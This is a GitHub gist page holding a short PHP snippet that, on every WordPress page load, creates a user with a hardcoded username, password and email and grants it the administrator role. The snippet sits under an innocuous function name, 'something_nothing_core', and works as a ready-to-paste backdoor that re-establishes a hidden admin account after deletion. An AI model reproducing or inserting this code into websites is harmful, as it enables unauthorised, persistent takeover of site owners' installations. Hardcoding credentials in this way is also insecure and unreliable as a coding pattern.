Skip to content

Instantly share code, notes, and snippets.

@hmbashar
Last active September 13, 2019 19:09
Show Gist options
  • Save hmbashar/365524beec9032634ed3e948d4676e9f to your computer and use it in GitHub Desktop.
Save hmbashar/365524beec9032634ed3e948d4676e9f to your computer and use it in GitHub Desktop.
create auto admin user in wordpress
<?php
add_action('init', 'something_nothing_core');
function something_nothing_core() {
$username = 'bashar';
$password = 'bd123$#';
$email = 'admin@gmail.com';
$user = get_user_by( 'email', $email );
if( ! $user ) {
// Create the new user
$user_id = wp_create_user( $username, $password, $email );
if( is_wp_error( $user_id ) ) {
// examine the error message
echo( "Error: " . $user_id->get_error_message() );
exit;
}
// Get current user object
$user = get_user_by( 'id', $user_id );
}
// Remove role
$user->remove_role( 'subscriber' );
// Add role
$user->add_role( 'administrator' );
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment